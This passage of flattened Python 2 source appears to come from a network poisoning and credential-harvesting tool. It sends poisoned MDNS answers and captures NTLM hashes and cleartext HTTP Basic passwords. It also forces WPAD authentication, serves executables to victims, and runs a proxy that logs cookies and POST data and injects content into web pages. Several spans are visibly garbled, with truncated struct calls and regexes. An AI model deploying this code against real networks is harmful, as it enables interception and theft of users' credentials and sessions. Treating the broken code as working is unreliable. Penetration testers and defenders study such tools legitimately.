NameLen_ = struct.unpack('>B',data[1+NameLen])[0] Name_ = data[1+NameLen:1+NameLen+NameLen_+1] return Name+'.'+Name_ def Poisoned_MDNS_Name(data): data = data[12:] Name = data[:len(data)-5] return Name class MDNS(BaseRequestHandler): def handle(self): MADDR = "224.0.0.251" MPORT = 5353 data, soc = self.request if self.client_address[0] == "127.0.0.1": pass try: if Analyze(AnalyzeMode): if Parse_IPV6_Addr(data): #print '[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)) logging.warning('[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data))) if RespondToSpecificHost(RespondTo): if Analyze(AnalyzeMode) == False: if RespondToIPScope(RespondTo, self.client_address[0]): if Parse_IPV6_Addr(data): #print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) Name = Poisoned_MDNS_Name(data) MDns = MDNSAns(AnswerName = Name) MDns.calculate() soc.sendto(str(MDns),(MADDR,MPORT)) if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False: if Parse_IPV6_Addr(data): #print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) Name = Poisoned_MDNS_Name(data) MDns = MDNSAns(AnswerName = Name) MDns.calculate() soc.sendto(str(MDns),(MADDR,MPORT)) else: pass except Exception: raise ################################################################################## #HTTP Stuff ################################################################################## from HTTPPackets import * from HTTPProxy import * #Parse NTLMv1/v2 hash. def ParseHTTPHash(data,client): LMhashLen = struct.unpack(' 24: NthashLen = 64 DomainLen = struct.unpack('2: PostData = 'The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip()) #print PostData logging.warning(PostData) #Handle HTTP packet sequence. def PacketSequence(data,client): Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data): File = config.get('HTTP Server', 'ExecFilename') buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File) buffer1.calculate() return str(buffer1) if ServeEXECAlwaysOrNot(Exec_Mode_On_Off): if IsExecutable(FILENAME): buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME) buffer1.calculate() return str(buffer1) else: buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME)) buffer1.calculate() return str(buffer1) if Ntlm: packetNtlm = b64decode(''.join(Ntlm))[8:9] if packetNtlm == "\x01": GrabURL(data,client) GrabCookie(data,client) r = NTLM_Challenge(ServerChallenge=Challenge) r.calculate() t = IIS_NTLM_Challenge_Ans() t.calculate(str(r)) buffer1 = str(t) return buffer1 if packetNtlm == "\x03": NTLM_Auth= b64decode(''.join(Ntlm)) ParseHTTPHash(NTLM_Auth,client) if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): Message = "WPAD (auth) file sent to: %s"%(client) if Verbose: #print Message logging.warning(Message) logging.warning(Message) buffer1 = WpadCustom(data,client) return buffer1 else: buffer1 = IIS_Auth_Granted(Payload=HTMLToServe) buffer1.calculate() return str(buffer1) if BasicAuth: GrabCookie(data,client) GrabURL(data,client) outfile = os.path.join(ResponderPATH,"HTTP-Clear-Text-Password-"+client+".txt") if PrintData(outfile,b64decode(''.join(BasicAuth))): logging.warning("HTTP-User & Password:", b64decode(''.join(BasicAuth))) WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth))) logging.warning('HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth)))) if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): Message = "WPAD (auth) file sent to: %s"%(client) if Verbose: logging.warning(Message) logging.warning(Message) buffer1 = WpadCustom(data,client) return buffer1 else: buffer1 = IIS_Auth_Granted(Payload=HTMLToServe) buffer1.calculate() return str(buffer1) else: return str(Basic_Ntlm(Basic)) #HTTP Server Class class HTTP(BaseRequestHandler): def handle(self): try: while True: self.request.settimeout(1) data = self.request.recv(8092) buff = WpadCustom(data,self.client_address[0]) if buff and WpadForcedAuth(Force_WPAD_Auth) == False: Message = "WPAD (no auth) file sent to: %s"%(self.client_address[0]) if Verbose: #print Message logging.warning(Message) logging.warning(Message) self.request.send(buff) else: buffer0 = PacketSequence(data,self.client_address[0]) self.request.send(buffer0) except Exception: pass#No need to be verbose.. ################################################################################## #HTTP Proxy Stuff ################################################################################## def HandleGzip(Headers, Content, Payload): if len(Content) > 5: try: unziped = zlib.decompress(Content, 16+zlib.MAX_WBITS) except: return False InjectPayload = Payload Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) HasHTML = re.findall('(?<=1: try: Headers, Content = data.split('\r\n\r\n') except: return data RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307'] if [s for s in RedirectCodes if s in Headers]: return data if "Content-Encoding: gzip" in Headers: Gzip = HandleGzip(Headers,Content, Payload) if Gzip: return Gzip else: return data if "content-type: text/html" in Headers.lower(): Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) HasHTML = re.findall('(?<== 0: host_port = netloc[:i], int(netloc[i+1:]) else: host_port = netloc, 80 try: soc.connect(host_port) except socket.error, arg: try: msg = arg[1] except: msg = arg self.send_error(404, msg) return 0 return 1 def do_CONNECT(self): soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: if self._connect_to(self.path, soc): self.wfile.write(self.protocol_version + " 200 Connection established\r\n") self.wfile.write("Proxy-agent: %s\r\n" % self.version_string()) self.wfile.write("\r\n") try: self._read_write(soc, 300) except: pass finally: soc.close() self.connection.close() def do_GET(self): (scm, netloc, path, params, query, fragment) = urlparse.urlparse( self.path, 'http') if scm not in ('http') or fragment or not netloc: self.send_error(400, "bad url %s" % self.path) return soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: if scm == 'http': if self._connect_to(netloc, soc): soc.send("%s %s %s\r\n" % (self.command, urlparse.urlunparse(('', '', path, params, query, '')), self.request_version)) if "Cookie" in self.headers: Cookie = self.headers['Cookie'] else: Cookie = '' Message = "Requested URL: %s\nComplete Cookie: %s\nClient IP is: %s\n"%(self.path, Cookie, self.client_address[0]) if Verbose == True: print Message OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-request-"+netloc+"-from-"+self.client_address[0]+".txt") WriteData(OutFile,Message, Message) self.headers['Connection'] = 'close' del self.headers['Proxy-Connection'] for key_val in self.headers.items(): soc.send("%s: %s\r\n" % key_val) soc.send("\r\n") try: self._read_write(soc, netloc) except: pass finally: soc.close() self.connection.close() def _read_write(self, soc, netloc='', max_idling=30): iw = [self.connection, soc] ow = [] count = 0 while 1: count += 1 (ins, _, exs) = select.select(iw, ow, iw, 1) if exs: break if ins: for i in ins: if i is soc: out = self.connection try: if len(HTMLToServe)>5: data = InjectData(i.recv(8192)) if InjectPage(i.recv(8192),self.client_address[0]): data = InjectPage(i.recv(8192),self.client_address[0]) else: data = i.recv(8192) except: pass else: out = soc data = i.recv(8192) if self.command == "POST": Message = "POST data was: %s\n"%(data) if Verbose == True: print Message OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-request-"+netloc+"-from-"+self.client_address[0]+".txt") WriteData(OutFile,Message, Message) if data: try: out.send(data) count = 0 except: pass if count == max_idling: break return None do_HEAD = do_GET do_POST = do_GET do_PUT = do_GET do_DELETE=do_GET ################################################################################## #HTTPS Server ################################################################################## from OpenSSL import SSL #Parse NTLMv1/v2 hash. def ParseHTTPSHash(data,client): LMhashLen = struct.unpack(' 24: #print "[+]HTTPS NTLMv2 hash captured from :",client logging.warning('HTTPS NTLMv2 hash captured from :%s'%(client)) NthashLen = 64 DomainLen = struct.unpack(' 10: LMhashOffset = struct.unpack('i',data[2:6])[0] MessageSequence = struct.unpack('i',data[11:15])[0] LDAPVersion = struct.unpack(' 0: time.sleep(1) except KeyboardInterrupt: exit()